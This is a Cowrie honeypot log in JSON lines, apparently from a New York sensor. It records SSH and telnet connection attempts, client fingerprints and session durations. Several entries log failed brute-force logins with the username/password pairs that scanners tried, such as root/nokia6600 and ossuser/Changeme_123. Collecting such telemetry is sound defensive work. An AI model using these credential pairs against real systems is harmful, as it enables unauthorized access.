{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40898,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5fc919d630e","protocol":"telnet","message":"New connection: 69.4.83.194:40898 (159.203.135.109:23) [session: f5fc919d630e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:47.467598Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.156.21","src_port":35410,"dst_ip":"10.17.0.5","dst_port":22,"session":"c500eeddc23d","protocol":"ssh","message":"New connection: 101.47.156.21:35410 (10.17.0.5:22) [session: c500eeddc23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:47.724716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:47.729216Z","src_ip":"101.47.156.21","session":"c500eeddc23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:47.968961Z","src_ip":"101.47.156.21","session":"c500eeddc23d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@Qwert","message":"login attempt [root/12345@Qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:48.961436Z","src_ip":"101.47.156.21","session":"c500eeddc23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:50.205400Z","src_ip":"101.47.156.21","session":"c500eeddc23d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":46776,"dst_ip":"10.17.0.5","dst_port":22,"session":"b97e5b86c783","protocol":"ssh","message":"New connection: 20.160.86.7:46776 (10.17.0.5:22) [session: b97e5b86c783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:50.855031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:50.860452Z","src_ip":"20.160.86.7","session":"b97e5b86c783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:50.940830Z","src_ip":"20.160.86.7","session":"b97e5b86c783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxc1230.","message":"login attempt [root/zxc1230.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:51.290985Z","src_ip":"20.160.86.7","session":"b97e5b86c783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:52.373440Z","src_ip":"20.160.86.7","session":"b97e5b86c783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":50370,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9a050edaea5","protocol":"telnet","message":"New connection: 165.22.57.101:50370 (159.203.135.109:23) [session: f9a050edaea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:52.825685Z"}
{"eventid":"cowrie.session.closed","duration":45.332452058792114,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:58.966085Z","src_ip":"79.139.59.21","session":"bffb750a40d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44378,"dst_ip":"159.203.135.109","dst_port":23,"session":"d456fc7e5166","protocol":"telnet","message":"New connection: 69.4.83.194:44378 (159.203.135.109:23) [session: d456fc7e5166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:46:59.628650Z"}
{"eventid":"cowrie.session.closed","duration":33.29078674316406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:00.804507Z","src_ip":"69.4.83.194","session":"2b9851ffaa16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":46902,"dst_ip":"159.203.135.109","dst_port":23,"session":"05d8bfa90dd2","protocol":"telnet","message":"New connection: 69.4.83.194:46902 (159.203.135.109:23) [session: 05d8bfa90dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:03.407505Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51418,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a7ead47b6e9","protocol":"telnet","message":"New connection: 69.4.83.194:51418 (159.203.135.109:23) [session: 5a7ead47b6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:14.910398Z"}
{"eventid":"cowrie.session.closed","duration":120.00329542160034,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:16.941469Z","src_ip":"79.139.59.21","session":"801f59c8ab89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.36212182044983,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:20.323220Z","src_ip":"69.4.83.194","session":"3a338cad4d76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":56732,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb9375c14b17","protocol":"ssh","message":"New connection: 103.122.221.179:56732 (159.203.135.109:22) [session: bb9375c14b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:25.267722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:25.273479Z","src_ip":"103.122.221.179","session":"bb9375c14b17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:25.539023Z","src_ip":"103.122.221.179","session":"bb9375c14b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.582459688186646,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:26.049952Z","src_ip":"69.4.83.194","session":"f5fc919d630e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6600","message":"login attempt [root/nokia6600] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:26.333310Z","src_ip":"103.122.221.179","session":"bb9375c14b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:27.605967Z","src_ip":"103.122.221.179","session":"bb9375c14b17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.93065881729126,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:28.756229Z","src_ip":"165.22.57.101","session":"f9a050edaea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":52952,"dst_ip":"10.17.0.5","dst_port":22,"session":"58f7adce979c","protocol":"ssh","message":"New connection: 182.191.77.164:52952 (10.17.0.5:22) [session: 58f7adce979c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:33.177779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:33.182852Z","src_ip":"182.191.77.164","session":"58f7adce979c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:33.414842Z","src_ip":"182.191.77.164","session":"58f7adce979c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.252777099609375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:33.881096Z","src_ip":"69.4.83.194","session":"d456fc7e5166","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ton","password":"ton","message":"login attempt [ton/ton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:34.354090Z","src_ip":"182.191.77.164","session":"58f7adce979c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:35.584921Z","src_ip":"182.191.77.164","session":"58f7adce979c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.569846630096436,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:35.977213Z","src_ip":"69.4.83.194","session":"05d8bfa90dd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":33476,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f72682ca78f","protocol":"telnet","message":"New connection: 69.4.83.194:33476 (159.203.135.109:23) [session: 9f72682ca78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:42.656083Z"}
{"eventid":"cowrie.session.closed","duration":34.0603551864624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:48.970637Z","src_ip":"69.4.83.194","session":"5a7ead47b6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":44870,"dst_ip":"10.17.0.5","dst_port":23,"session":"05e9f078a2b2","protocol":"telnet","message":"New connection: 178.128.93.180:44870 (10.17.0.5:23) [session: 05e9f078a2b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:47:49.391424Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":35648,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e417701baff","protocol":"ssh","message":"New connection: 103.25.47.94:35648 (159.203.135.109:22) [session: 3e417701baff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:06.929859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:06.935116Z","src_ip":"103.25.47.94","session":"3e417701baff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:07.182967Z","src_ip":"103.25.47.94","session":"3e417701baff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":24934,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e6b11e56e0","protocol":"ssh","message":"New connection: 38.93.206.2:24934 (10.17.0.5:22) [session: b7e6b11e56e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:07.627392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:07.642330Z","src_ip":"38.93.206.2","session":"b7e6b11e56e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:07.681113Z","src_ip":"38.93.206.2","session":"b7e6b11e56e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21011988","message":"login attempt [root/21011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:07.884739Z","src_ip":"38.93.206.2","session":"b7e6b11e56e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:08.214117Z","src_ip":"103.25.47.94","session":"3e417701baff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":47715,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d603bdf004","protocol":"ssh","message":"New connection: 88.147.30.59:47715 (10.17.0.5:22) [session: f5d603bdf004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:08.223369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:08.239239Z","src_ip":"88.147.30.59","session":"f5d603bdf004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:08.355155Z","src_ip":"88.147.30.59","session":"f5d603bdf004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali123","message":"login attempt [ali/ali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:08.844976Z","src_ip":"88.147.30.59","session":"f5d603bdf004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:08.939048Z","src_ip":"38.93.206.2","session":"b7e6b11e56e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:09.465368Z","src_ip":"103.25.47.94","session":"3e417701baff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:48:09.966228Z","src_ip":"88.147.30.59","session":"f5d603bdf004","protocol":"ssh"}
